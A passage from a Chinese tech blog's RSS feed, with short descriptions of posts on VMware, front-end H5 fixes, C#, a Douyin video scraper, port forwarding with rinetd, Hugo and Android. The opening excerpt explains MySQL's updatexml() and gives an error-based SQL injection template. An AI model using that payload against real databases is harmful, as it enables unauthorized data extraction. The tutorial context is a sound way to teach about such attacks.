XPath_string, new_value);、&#xA;第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc&#xA;第二个参数：XPath_string (Xpath格式的字符串) ，&#xA;第三个参数：new_value，String格式，替换查找到的符合条件的数据&#xA;作用：改变文档中符合条件的节点的值，即改变XML_document中符合XPATH_string的值&#xA;而我们的注入语句为：updatexml(1,concat(0x7e,(SELECT 查询语句),0x7e),1)</description>
    </item>
    <item>
      <title>在Ubuntu18.04虚拟机下安装VMware-Tools工具</title>
      <link>https://bchobby.github.io/posts/95968d2241c4284ca7ce286e0c1844bf/</link>
      <pubDate>Tue, 07 Apr 2020 13:00:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95968d2241c4284ca7ce286e0c1844bf/</guid>
      <description>在Ubuntu18.04虚拟机下安装VMware-Tools 原始桌面&#xA;重新挂载虚拟光盘&#xA;选择“安装VMware Tools”，出现桌面上的图标&#xA;选择在终端打开&#xA;使用ls命令查看安装包&#xA;复制安装包到指定的文件目录下&#xA;进入/usr/local/bin目录下，ls查看是否复制完成&#xA;执行命令使其解压&#xA;ls查看&#xA;进入vmware-tools-distrib目录下，ls查看&#xA;执行安装命令&#xA;输入yes，一路敲击回车继续&#xA;安装成功！自动切换至全屏界面</description>
    </item>
    <item>
      <title>12个前端必会 H5 问题及解决方法</title>
      <link>https://bchobby.github.io/posts/5cd1f72cf224dcb1d89b51e25e89bacc/</link>
      <pubDate>Mon, 06 Apr 2020 16:55:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cd1f72cf224dcb1d89b51e25e89bacc/</guid>
      <description>前言 作为一个开发了多个 H5 项目的前端工程师，在开发过程中难免会遇到一些兼容性等爬过坑的问题。现在我将这些问题一一汇总一下，并在后面给出坑产生的原理，和现阶段常规的填坑方案。由此来做一个阶段性的总结。&#xA;问题 下面列举了我遇到的一些常规问题，如有遇到其他问题请在评论区补充，之后我也会实践后加以补充，感谢！（经常更新该文）&#xA;移动端 H5 相关问题汇总： 1px 问题响应式布局iOS 滑动不流畅iOS 上拉边界下拉出现白色空白页面件放大或缩小不确定性行为click 点击穿透与延迟软键盘弹出将页面顶起来、收起未回落问题iPhone X 底部栏适配问题保存页面为图片和二维码问题和解决方案微信公众号 H5 分享问题H5 调用 SDK 相关问题及解决方案H5 调试相关方案与策略 移动端 H5 相关基础技术概览 原理与实践 之前两篇文章已经详细的论述了1px 问题与 响应式布局 问题，并给出了原理和解决方案。&#xA;防止丢失，点赞收藏后跳转至快捷通道：1px通道与响应式布局通道&#xA;接下来呢，我们看看其他问题的原理和解决方案吧。&#xA;以下解决方案，均经过我测试成功，健康安全，请放下食用。由于篇幅原因，某些非核心解决方案的实现细节暂未谈论，需要自行研究。&#xA;iOS滑动不流畅 表现&#xA;上下滑动页面会产生卡顿，手指离开页面，页面立即停止运动。整体表现就是滑动不流畅，没有滑动惯性。&#xA;产生原因&#xA;为什么 iOS 的 webview 中 滑动不流畅，它是如何定义的？&#xA;最终我在 safari 文档里面寻找到了答案（文档链接在参考资料项）。&#xA;原来在 iOS 5.0 以及之后的版本，滑动有定义有两个值 auto 和 touch，默认值为 auto。&#xA;-webkit-overflow-scrolling: touch; /* 当手指从触摸屏上移开，会保持一段时间的滚动 */ -webkit-overflow-scrolling: auto; /* 当手指从触摸屏上移开，滚动会立即停止 */ 解决方案&#xA;1.在滚动容器上增加滚动 touch 方法&#xA;将-webkit-overflow-scrolling 值设置为 touch</description>
    </item>
    <item>
      <title>c#中的Length和GetLength()的区别</title>
      <link>https://bchobby.github.io/posts/88f8a044a557a367fc6da6e542b005e2/</link>
      <pubDate>Mon, 06 Apr 2020 16:51:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88f8a044a557a367fc6da6e542b005e2/</guid>
      <description> 文章目录 代码格式简明做一个小实验 仅作为操作记录，大佬请跳过。 代码格式 首先 Length直接，GetLength()需要用括号&#xA;Length是取所有的元素个数，GetLength()是取行数和列数&#xA;简明 假如一个数组：(两行三列)&#xA;array=&#xA;1,2,3&#xA;4,5,6&#xA;Length是6；&#xA;GetLength(0)是2，【GetLength(0)表示取行数】&#xA;GetLength(1)是3&#xA;做一个小实验 double[,] output = new double[,] { { 1, 2, 4 },{ 1,2,4} }; //实验getlength和Length //******************************* int arraylength = new int(); arraylength = output.Length; arraylength = output.GetLength(0); //******************************* </description>
    </item>
    <item>
      <title>爬虫-抖音无水印视频下载</title>
      <link>https://bchobby.github.io/posts/3f43163c109fa97ce624340ac759f5c3/</link>
      <pubDate>Mon, 06 Apr 2020 14:34:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f43163c109fa97ce624340ac759f5c3/</guid>
      <description>直接撸代码，复制即用&#xA;import re import requests class Douyin: def __init__(self,url): &#34;&#34;&#34; 初始化 :param url: 用手机分享的视频链接 &#34;&#34;&#34; self.headers = {&#34;User-Agent&#34;: &#34;Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1&#34;} self.url = url # 获取拼接视频播放地址的参数，获取网页源代码中的参数 def get_url_data(self): res = requests.get(url=self.url, headers=self.headers).text try: parent_rid = re.findall(&#39;parent_rid: &#34;(.*?)&#34;&#39;, res)[0] itemId = re.findall(&#39;itemId: &#34;(.*?)&#34;&#39;, res)[0] uid = re.findall(&#39;uid: &#34;(.*?)&#34;&#39;, res)[0] dytk = re.findall(&#39;dytk: &#34;(.*?)&#34;&#39;, res)[0] authorName = re.</description>
    </item>
    <item>
      <title>Caused by: org.yaml.snakeyaml.error.YAMLException: java.nio.charset.MalformedInputException: Input l</title>
      <link>https://bchobby.github.io/posts/4ee40401e810aed4326c083d244c015e/</link>
      <pubDate>Sun, 05 Apr 2020 23:13:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ee40401e810aed4326c083d244c015e/</guid>
      <description>Caused by: org.yaml.snakeyaml.error.YAMLException: java.nio.charset.MalformedInputException: Input length = 1 at org.yaml.snakeyaml.reader.StreamReader.update(StreamReader.java:218) at org.yaml.snakeyaml.reader.StreamReader.ensureEnoughData(StreamReader.java:176) at org.yaml.snakeyaml.reader.StreamReader.ensureEnoughData(StreamReader.java:171) at org.yaml.snakeyaml.reader.StreamReader.peek(StreamReader.java:126) at org.yaml.snakeyaml.scanner.ScannerImpl.scanToNextToken(ScannerImpl.java:1177) at org.yaml.snakeyaml.scanner.ScannerImpl.fetchMoreTokens(ScannerImpl.java:287) at org.yaml.snakeyaml.scanner.ScannerImpl.checkToken(ScannerImpl.java:227) at org.yaml.snakeyaml.parser.ParserImpl$ParseImplicitDocumentStart.produce(ParserImpl.java:195) at org.yaml.snakeyaml.parser.ParserImpl.peekEvent(ParserImpl.java:158) at org.yaml.snakeyaml.parser.ParserImpl.checkEvent(ParserImpl.java:148) at org.yaml.snakeyaml.composer.Composer.checkNode(Composer.java:72) at org.yaml.snakeyaml.constructor.BaseConstructor.checkData(BaseConstructor.java:114) at org.yaml.snakeyaml.Yaml$1.hasNext(Yaml.java:543) at org.springframework.beans.factory.config.YamlProcessor.process(YamlProcessor.java:160) at org.springframework.beans.factory.config.YamlProcessor.process(YamlProcessor.java:134) at org.springframework.boot.env.OriginTrackedYamlLoader.load(OriginTrackedYamlLoader.java:75) at org.springframework.boot.env.YamlPropertySourceLoader.load(YamlPropertySourceLoader.java:50) at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.loadDocuments(ConfigFileApplicationListener.java:562) at org.springframework.boot.context.config.ConfigFileApplicationListener$Loader.load(ConfigFileApplicationListener.java:518) ... 37 common frames omitted Caused by: java.nio.charset.MalformedInputException: Input length = 1 这个错误的原因是 配置文件编码导致的， 改为UTF-8就好</description>
    </item>
    <item>
      <title>linux下最简单好用的的端口转发工具</title>
      <link>https://bchobby.github.io/posts/22238b6cbc8c4124edcc384325c90dd4/</link>
      <pubDate>Sun, 05 Apr 2020 18:05:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22238b6cbc8c4124edcc384325c90dd4/</guid>
      <description>官网地址http://www.rinetd.com/&#xA;软件下载&#xA;wget http://www.rinetd.com/download/rinetd.tar.gz&#xA;解压安装&#xA;tar zxvf rinetd.tar.gz&#xA;make&#xA;make install&#xA;编辑配置&#xA;vi /etc/rinetd.conf&#xA;0.0.0.0 8080 172.19.94.3 8080&#xA;0.0.0.0 2222 192.168.0.103 3389&#xA;1.2.3.4 80 192.168.0.10 80&#xA;说明一下（0.0.0.0表示本机绑定所有可用地址）&#xA;将所有发往本机8080端口的请求转发到172.19.94.3的8080端口&#xA;将所有发往本机2222端口的请求转发到192.168.0.103的3389端口&#xA;将所有发往1.2.3.4的80端口请求转发到192.168.0.10的80端口&#xA;启动程序&#xA;pkill rinetd ##关闭进程&#xA;/usr/sbin/rinetd ##启动转发&#xA;把这条命令加到/etc/rc.local里面就可以开机自动运行&#xA;查看状态&#xA;netstat -antup&#xA;需要注意&#xA;1.rinetd.conf中绑定的本机端口必须没有被其它程序占用&#xA;2.运行rinetd的系统防火墙应该打开绑定的本机端口&#xA;例如：&#xA;-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1111 -jACCEPT&#xA;-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 2222 -jACCEPT</description>
    </item>
    <item>
      <title>设计一个学生类 Student 包含姓名、成绩两个属性。定义一个无参的构造方法和一个接收两个参数的构造方法。</title>
      <link>https://bchobby.github.io/posts/8a9ab7fa01081431d2192ae8ac351224/</link>
      <pubDate>Sun, 05 Apr 2020 17:07:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a9ab7fa01081431d2192ae8ac351224/</guid>
      <description>请按照以下要求设计一个学生类 Student，并进行测试。 要求如下：&#xA;Student 类中包含姓名、成绩两个属性&#xA;分别给这两个属性定义两个方法，一个方法用于设置值，另一个方法用于获取值.&#xA;Student 类中定义一个无参的构造方法和一个接收两个参数的构造方法，两个参数分别为姓名和 成绩属性赋值&#xA;在测试类中创建两个 Student 对象，一个使用无参的构造方法，然后调用方法给姓名和成绩赋值， 一个使用有参的构造方法，在构造方法中给姓名和成绩赋值&#xA;class Student { private String name; private double grade; public Student() { } public Student(String name, double grade) { this.name = name; this.grade = grade; } public String getName() { return name; } public void setName(String name) { this.name = name; } public double getGrade() { return grade; } public void setGrade(double grade) { this.grade = grade; } } public class Test01 { public static void main(String[] args) { Student stu1 = new Student(); stu1.</description>
    </item>
    <item>
      <title>VM安装的虚拟机如何在局域网内互相访问</title>
      <link>https://bchobby.github.io/posts/0bae038cf31980e9f66146270c49c3d9/</link>
      <pubDate>Sun, 05 Apr 2020 16:04:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bae038cf31980e9f66146270c49c3d9/</guid>
      <description>笔者在本地Win10操作系统安装环境如下：&#xA;VM 15 Pro&#xA;安装CentOS7&#xA;本章主要实现安装好的虚拟机需要被局域网其它机子访问到，下面开始配置网络，首先VM支持3种网络适配器模式：&#xA;主机模式&#xA;桥接模式&#xA;NAT模式&#xA;如果要实现虚拟机被局域网其它机子访问到，那么这里我们要选择桥架模式，具体设置如下：&#xA;1、找到当前主机正常使用的网络适配器，右键右下角的wifi图标或网线图片 -&amp;gt; 打开网络和Interl设置，笔者这里出现如下图：&#xA;2、然后单机以太网 -&amp;gt; 更改适配器选项，笔者这里出现类似如下图：&#xA;3、右键适配器 -&amp;gt; 属性，出现类似如下图（勾选Bridge Protocol）：&#xA;4、记住上面名称&#xA;5、回到VM，点击编辑 -&amp;gt; 虚拟网络编辑器，出现类似如下图：&#xA;6、点击更改设置，具体配置如下：&#xA;7、选择某个虚拟机 -&amp;gt; 编辑虚拟机设置&#xA;8、选择如下：&#xA;9、本地Win + R，输入cmd回车后，输入ipconfig 命名查看本地网卡信息：&#xA;9、开启虚拟机，登录进去后，编辑网卡，笔者这里网卡为ens33:&#xA;vi /etc/sysconfig/network-scripts/ifcfg-ens33&#xA;10、输入如下内容：&#xA;修改项： BOOTPROTO=&#34;static&#34; ONBOOT=&#34;yes&#34; UUID=&#34;403bc27b-ed4b-4321-a0a7-cb98942ba5fd&#34; #如果克隆出来的，这个要手动修改下为其它值 末尾添加项： IPADDR=192.168.1.101 #这里对应上面ipconfig输出的网段192.168.1.3 ~ 192.168.1.254范围随便选一个即可，但不要跟主机相同就行 NETMASK=255.255.255.0 GATEWAY=192.168.1.1 #这里对应上面ipconfig输出的默认网关 DNS1=8.8.8.8 11、重启网卡&#xA;systemctl restart network&#xA;12、现在局域网其它机子则可以直接ping该虚拟机进行测试&#xA;---------------------- 正文结束 ------------------------&#xA;长按扫码关注微信公众号&#xA;Java软件编程之家</description>
    </item>
    <item>
      <title>Hugo博客部署到GitHub无法显示CSS、JS踩坑</title>
      <link>https://bchobby.github.io/posts/d20e3a6dccd14d19e94fe79ce7a1f5ad/</link>
      <pubDate>Sun, 05 Apr 2020 14:31:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d20e3a6dccd14d19e94fe79ce7a1f5ad/</guid>
      <description> 背景 最近我跟着网上的教学搭建了一个Hugo的个人博客。&#xA;一路顺利，直到部署到GitHub后出了问题。&#xA;问题 那是遇到了什么问题呢？&#xA;我搭建好的个人博客在本地运行是这样的↓&#xA;很完美，对吧。&#xA;可是部署到GitHub后，访问远端是这样的↓&#xA;这就出大问题了呀，CSS样式没了。&#xA;然后浏览器F12看了下报错↓&#xA;它是加载失败，并不是找不到文件，也就说并不是我代码路径有问题，那排除了代码问题，那应该就是我部署时出了问题，毕竟我也才接触的GitHub，部署都是按着网上的教学来的，出现问题是很正常的。&#xA;解决 于是我开始在网上找解决办法，可大多数都是说代码引用路径写错了，可我再三确认没有问题，于是接着找，功夫不负有心人，我找到了以下文章↓&#xA;https://www.daniao.org/5349.html&#xA;上面这篇文章是从将Hugo文件推到GitHub开始的，如果你已经知道如何推文件，只是不知如何解决无法显示CSS问题，请接着看我下面总结。&#xA;首先，新建仓库，登录自己的github账号，然后点击右上角的+号，选择new repository，如图：&#xA;进入刚刚新建的仓库，选择Settings,找到GitHubPages。&#xA;Theme Chooser随便选择一个提交就可以了，之后会给你username.github.io这样的网址就表示实在对了，因为我们用public推送必须要这样的网址形式，不然会不显示CSS样式。&#xA;去刚创建的仓库里的文件git到public文件夹中，里面有默认的配置文件，_config.yml、README.md必需要用到，下载下来之后复制到public文件夹中，之后就可以无障碍的push到你的项目中。&#xA;接下来将个人博客部署到GitHub上就能正常访问啦。&#xA;附上部署命令：&#xA;hugo --theme=这里填你的主题名 --baseUrl=“这里填你的远端地址” --buildDraftscd publicgit initgit remote add origin https://github.com/你的github用户名/你的github用户名.github.io.gitgit add -Agit commit -m “我的hugo博客”git pull --rebase origin mastergit push -u origin master </description>
    </item>
    <item>
      <title>Android Studio开发学习（五）——ImageView、ListView、GridView、ScrollView、HorizontalScrollView</title>
      <link>https://bchobby.github.io/posts/4370bec61e9c5aa3ecc3733e8c615431/</link>
      <pubDate>Sat, 04 Apr 2020 23:02:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4370bec61e9c5aa3ecc3733e8c615431/</guid>
      <description>一、前提&#xA;今天学习ImageView、ListView、GridView、ScrollView、HorizontalScrollView，也是很常见的控件&#xA;二、目标&#xA;ImageView（图像视图）&#xA;ListView（列表控件）&#xA;GridView（表格控件）&#xA;ScrollView（竖直滚动条）&#xA;HorizontalScrollView（水平滚动条）&#xA;三、内容&#xA;（一）ImageView&#xA;1、常用属性&#xA;大致相同&#xA;&amp;lt;ImageView android:id=&#34;@+id/imageview1&#34; android:layout_width=&#34;200dp&#34; android:layout_height=&#34;200dp&#34; android:background=&#34;#FF9900&#34; android:src=&#34;@drawable/hmbb&#34; /&amp;gt; 我们注意到src属性是内容属性，可以在里面添加图片，当然background属性，也可以，这里我们为了方便测试&#xA;此时我们可以看到图片添加到了这个控件中，但我们发现，图片并没有铺满整个控件，而是还有一部分是背景颜色，此时我们就要使用到一个属性android:scaleType=“”这个属性用来调整图片，缩放类型&#xA;原图： android:scaleType=“fitXY”拉伸显示图片，不保持原始比例，铺满整个控件大小android:scaleType=“fitStart”按照比例放大或缩小图片高度，使其显示在控件顶部android:scaleType=“fitCenter”按照比例放大或缩小图片高度，使其显示在控件中间android:scaleType=“fitEnd”按照比例放大或缩小图片高度，使其显示在控件底部android:scaleType=“center”保持原图大小，显示在控件中心，多余的部分被裁掉android:scaleType=“centerCrop”以原图填满控件为目的，如果原图size大于控件的size，按比例缩小，居中显示在控件中。如果原图size小于控件的size，则按比例拉升原图的宽和高，填充控件居中显示android:scaleType=“centerInside”以原图正常显示为目的，如果原图大小大于控件的size，按比例缩小，居中显示在控件中。如果原图size小于控件的size，则不做处理居中显示图片android:scaleType=“matrix”不改变原图的大小，从ImageView的左上角开始绘制，超出部分做剪切处理 以至于最后一张图是白色的是因为matrix方式是从左上角开始绘制，我选取的图左上角刚好是白色，以上就是scaleType常见的所有绘制方式。&#xA;（二）ListView、GridView&#xA;重要问题：适配器&#xA;1、什么是适配器&#xA;ListView是一个列表控件，GridView是一个表格列表，用来显示数据，但ListView和GridView所展示的数据是有一定格式的，这时我们便要引进一个适配器，来建立数据源和ListView、GridView之间的适配关系，将数据源转换成ListView、GridView可以使用的格式进行显示，降低了程序的耦合性。在对于ListView、GridView来说有很多的适配器，我们就要最通用的适配器来完成——BaseAdapter&#xA;2、缓冲机制&#xA;ListView、GridView可以展示大量的数据信息，像是我们刷新闻刷空间，一条一条的都可用ListView、GridView实现，但假设ListView、GridView能存储50条信息，但屏幕最多显示5条，当我们向上滑动屏幕时第一条信息就会划出屏幕收回到缓冲池中，紧跟着第六条信息就会从缓冲池中取出放到布局文件中，设置数据进行显示，以此类推，这样，系统永远保持这5条数据，这便是缓冲机制，简单的来说就是，用则取出不用则收回，这样便可极大节约系统资源&#xA;3、设计&#xA;（1）首先设计布局文件，在activity_main添加一个ListView&#xA;&amp;lt;ListView android:id=&#34;@+id/listview&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;wrap_content&#34; &amp;gt;&amp;lt;/ListView&amp;gt; （2）新建一个布局文件，在布局文件中绘制每一行的显示样式，只用设计一个就可以&#xA;&amp;lt;ImageView android:id=&#34;@+id/iv&#34; android:layout_width=&#34;100dp&#34; android:layout_height=&#34;100dp&#34; android:scaleType=&#34;centerCrop&#34; android:background=&#34;#000000&#34; /&amp;gt; &amp;lt;LinearLayout android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; android:orientation=&#34;vertical&#34; android:paddingLeft=&#34;10dp&#34; &amp;gt; &amp;lt;TextView android:id=&#34;@+id/tv1&#34; android:layout_width=&#34;wrap_content&#34; android:layout_height=&#34;wrap_content&#34; android:text=&#34;hello!&#34; android:textSize=&#34;20sp&#34; android:textColor=&#34;#00FFFF&#34; /&amp;gt; &amp;lt;TextView android:id=&#34;@+id/tv2&#34; android:layout_width=&#34;wrap_content&#34; android:layout_height=&#34;wrap_content&#34; android:text=&#34;My friend&#34; android:textSize=&#34;20sp&#34; android:textColor=&#34;#00FF00&#34; android:layout_marginTop=&#34;10dp&#34; /&amp;gt; &amp;lt;TextView android:id=&#34;</description>
    </item>
    <item>
      <title>HTML引入另一个HTML-include方法</title>
      <link>https://bchobby.github.io/posts/ca875b321e476dc8d5cd7bd7326967ab/</link>
      <pubDate>Sat, 04 Apr 2020 20:49:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca875b321e476dc8d5cd7bd7326967ab/</guid>
      <description> 写在前面：不是很推荐静态页面引入另一个页面，因为这可能会造成你的页面内的一些js失效。慎入啊 QAQ&#xA;https://www.jianshu.com/p/c4f18bea8cab&#xA;如上述教程所说，这里放一个include.js，这样就不需要用iis什么的了。&#xA;注意需要引用的那个界面格式改成.aspx&#xA;新建一个叫include.js的文件，然后把下面的代码复制，最后引入在用到的html界面就可以了。&#xA;(function(window,document,undefined){var Include39485748323=function(){};Include39485748323.prototype={forEach:function(array,callback){var size=array.length;for(var i=size-1;i&amp;gt;=0;i-=1){callback.apply(array[i],[i])}},getFilePath:function(){var curWwwPath=window.document.location.href;var pathName=window.document.location.pathname;var localhostPaht=curWwwPath.substring(0,curWwwPath.indexOf(pathName));var projectName=pathName.substring(0,pathName.substr(1).lastIndexOf(&#39;/&#39;)+1);return localhostPaht+projectName},getFileContent:function(url){var ie=navigator.userAgent.indexOf(&#39;MSIE&#39;)&amp;gt;0;var o=ie?new ActiveXObject(&#39;Microsoft.XMLHTTP&#39;):new XMLHttpRequest();o.open(&#39;get&#39;,url,false);o.send(null);return o.responseText},parseNode:function(content){var objE=document.createElement(&#34;div&#34;);objE.innerHTML=content;return objE.childNodes},executeScript:function(content){var mac=/&amp;lt;script&amp;gt;([\s\S]*?)&amp;lt;\/script&amp;gt;/g;var r=&#34;&#34;;while(r=mac.exec(content)){eval(r[1])}},getHtml:function(content){var mac=/&amp;lt;script&amp;gt;([\s\S]*?)&amp;lt;\/script&amp;gt;/g;content.replace(mac,&#34;&#34;);return content},getPrevCount:function(src){var mac=/\.\.\//g;var count=0;while(mac.exec(src)){count+=1}return count},getRequestUrl:function(filePath,src){if(/http:\/\//g.test(src)){return src}var prevCount=this.getPrevCount(src);while(prevCount--){filePath=filePath.substring(0,filePath.substr(1).lastIndexOf(&#39;/&#39;)+1)}return filePath+&#34;/&#34;+src.replace(/\.\.\//g,&#34;&#34;)},replaceIncludeElements:function(){var $this=this;var filePath=$this.getFilePath();var includeTals=document.getElementsByTagName(&#34;include&#34;);this.forEach(includeTals,function(){var src=this.getAttribute(&#34;src&#34;);var content=$this.getFileContent($this.getRequestUrl(filePath,src));var parent=this.parentNode;var includeNodes=$this.parseNode($this.getHtml(content));var size=includeNodes.length;for(var i=0;i&amp;lt;size;i+=1){parent.insertBefore(includeNodes[0],this)}$this.executeScript(content);parent.removeChild(this);})}};window.onload=function(){new Include39485748323().replaceIncludeElements()}})(window,document); </description>
    </item>
    <item>
      <title>web前端常用命令</title>
      <link>https://bchobby.github.io/posts/2196ac3f75d21e24a2e6d608e0b785ae/</link>
      <pubDate>Sat, 04 Apr 2020 20:06:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2196ac3f75d21e24a2e6d608e0b785ae/</guid>
      <description>vue模块化开发&#xA;1.全局安装webpack npm install webpack -g&#xA;2.全局安装vue脚手架 npm install -g @vue/cli-init&#xA;3.初始化vue项目 创建文件夹命名 cmd打开 vue init webpack appname : vue脚手架使用webpack模块化一appname项目&#xA;4.启动vue项目 项目的package.json中有script,代表我们能运行的命令&#xA;npm run dev 启动项目&#xA;npm run bulid 将项目打包&#xA;NPM安装 element-ui&#xA;推荐使用npm的方式安装，它能更好地和webpack打包工具配合使用。npm i element-ui -S&#xA;在main.js中写入以下内容：&#xA;import Vue from ‘vue’;&#xA;import ElementUI from ‘element-ui’;&#xA;import ‘element-ui/lib/theme-chalk/index.css’;&#xA;import App from ‘./App.vue’;&#xA;Vue.use(ElementUI);&#xA;new Vue({&#xA;el: ‘#app’,&#xA;render: h =&amp;gt; h(App)&#xA;});</description>
    </item>
    <item>
      <title>（一）【机器人路径规划】路径规划概述</title>
      <link>https://bchobby.github.io/posts/6a99e74b92ac1e4d4a933bd5fec4a53d/</link>
      <pubDate>Sat, 04 Apr 2020 19:56:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a99e74b92ac1e4d4a933bd5fec4a53d/</guid>
      <description>文章目录 A 路径规划定义B 构型/位型空间（configuration Space）C 障碍物与构型空间C 环境模型建立D 欧氏距离与曼哈顿距离 A 路径规划定义 移动机器人依据某个或某些性能指标（如工作代价最小、行走路线最短、行走时间最短等），在运动空间中找到一条从起始状态到目标状态、可以避开障碍物的最优或者接近最优的路径。&#xA;路径规划分为全局路径规划和局部路径规划&#xA;全局路径规划：是宏观的规划，主要为机器人在运动中提供核心运动点，保证机器人安全到达目的地，但全局路径规划生成的可能不是一条轨迹，而是一些离散的点。局部路径规划：为了实现机器人的路线更加合理，还需要局部路径规划。它可以对机器人的速度、加速度等进行约束。 B 构型/位型空间（configuration Space） 构型/位型：能够反映机器人上每个点位置的变量&#xA;（a）中的 θ \theta θ角就是门的构型&#xA;（b）中的点的坐标就是点的构型&#xA;（c）旋转角度 θ \theta θ和坐标（x,y）构成硬币的构型。&#xA;机器人的自由度能反映构型。&#xA;构型/位型空间（C-space）：包含机器人所有构型的n维空间&#xA;二自由度机械臂的两个关节角构成它的C-space，中间图为C-space的拓扑空间，最右为其坐标表示。&#xA;C 障碍物与构型空间 将构型空间障碍物 Q O 1 QO_1 QO1​定义为机器人与工作空间中的障碍物 W O 1 WO_1 WO1​相交的构型集合。&#xA;自由空间或自由构型空间 Q f r e e Q_{free} Qfree​是机器人不与任何障碍物相交的构型集合。&#xA;黄色为机器人；蓝色为障碍物。&#xA;例子：&#xA;圆为机器人，三角形为障碍物&#xA;由于机器人本身是有工作半径的，把三角形机器人半径宽的外环都划分为障碍物部分。则自由此例子的自由构型空间就是实际障碍物部分。&#xA;C 环境模型建立 定义：建立机器人所处环境中的各种物体，包括障碍、路标等的准确空间位置描述，即建立空间模型或地图。&#xA;两种建立环境模型方法：&#xA;&amp;lt;1&amp;gt;栅格法&#xA;所谓栅格法，是将移动机器人需要工作的环境信息分割成等大小的正方形栅格，此方法是W.E.Howden提出的，并成为移动机器人路径规划最常用的地图建模方法。&#xA;如：&#xA;栅格法环境信息表示方法：&#xA;障碍物栅格赋值为1，自由空间栅格赋值为0。&#xA;重要参数：栅格大小：&#xA;栅格法建模，栅格大小的选取尤为重要，既要考虑机器人尺寸，也要考虑到整个环境的复杂程度。&#xA;较为理想的栅格单位长度为机器人的直径大小。&#xA;栅格法环境信息表示方法：&#xA;栅格地图的标识方法：&#xA;栅格地图建立模型后，需要将整个二维工作区内的栅格单元用序号法或直角坐标系法进行标识。这样有助于移动机器人对栅格单元位置的记录，分辨出是障碍物栅格还是可以通过的自由空间栅格。</description>
    </item>
    <item>
      <title>Goland环境下同一个package下出现undefined</title>
      <link>https://bchobby.github.io/posts/7973d6b78f82444a17276edde330532d/</link>
      <pubDate>Fri, 03 Apr 2020 19:25:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7973d6b78f82444a17276edde330532d/</guid>
      <description>本人用Goland调试github.com/oliver006/redis_exporter源码的时候，竟然出现下列编译错误&#xA;随后发现函数NewRedisExporter、结构体Options均是处于main包下exporter.go文件中&#xA;这就很奇怪了，处于同一个包下肯定是可以找到的，随后用go build .命令跑了一下，确实是可以编译成功的，这个时候我就怀疑是Goland的问题了，应该是Goland按照文件级别来进行编译的。随后进行如图处理：&#xA;将Run kind设置为Directory就可以了编译成功了！</description>
    </item>
    <item>
      <title>慎重搭建MobSF</title>
      <link>https://bchobby.github.io/posts/733beec1bbc75678baf585f6626ae3fd/</link>
      <pubDate>Thu, 02 Apr 2020 22:17:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/733beec1bbc75678baf585f6626ae3fd/</guid>
      <description>前情提要 MobSF是一款移动安全框架。支持静态代码分析和动态分析，听说还能测试WebAPI接口。为什么是听说，因为我动态分析功能没搭成功。。。。。。&#xA;之前用docker搭好了，但是只能使用静态分析功能，想试试动态分析和webAPI接口的测试，需要本地搭&#xA;结合官网教程和网上安装博客&#xA;环境：&#xA;centos7 64位，python3&#xA;python3 使用命令是python3,pip3&#xA;# 下载安装包 git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git cd Mobile-Security-Framework-MobSF # 安装依赖 pip3 install -r requirements.txt 报错&#xA;raise ImproperlyConfigured(‘SQLite 3.8.3 or later is required (found %s).’ % Database.sqlite_version)&#xA;django.core.exceptions.ImproperlyConfigured: SQLite 3.8.3 or later is required (found 3.7.17).&#xA;MobSF的框架是django 2.2，对sqlite版本有需求，centos自带sqlite版本低，更新sqlite&#xA;官网查看最新版本链接 https://www.sqlite.org/download.html # 下载sqlite安装包 cd ~ wget https://www.sqlite.org/2019/sqlite-autoconf-3300100.tar.gz # 解压 tar zxvf sqlite-autoconf-3300100.tar.gz cd sqlite-autoconf-3300100/ ./configure make &amp;amp;&amp;amp; make install # 替换旧的sqlite，进入home目录 cd ../ mv /user/bin/sqlite3 /usr/bin/sqlite3_old ln -s /usr/local/bin/sqlite3 /usr/bin/sqlite3 echo &#34;</description>
    </item>
    <item>
      <title>老掉牙的ArrayList解析它它它又来了</title>
      <link>https://bchobby.github.io/posts/b818cd511091af91c788839d5273bfda/</link>
      <pubDate>Thu, 02 Apr 2020 20:37:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b818cd511091af91c788839d5273bfda/</guid>
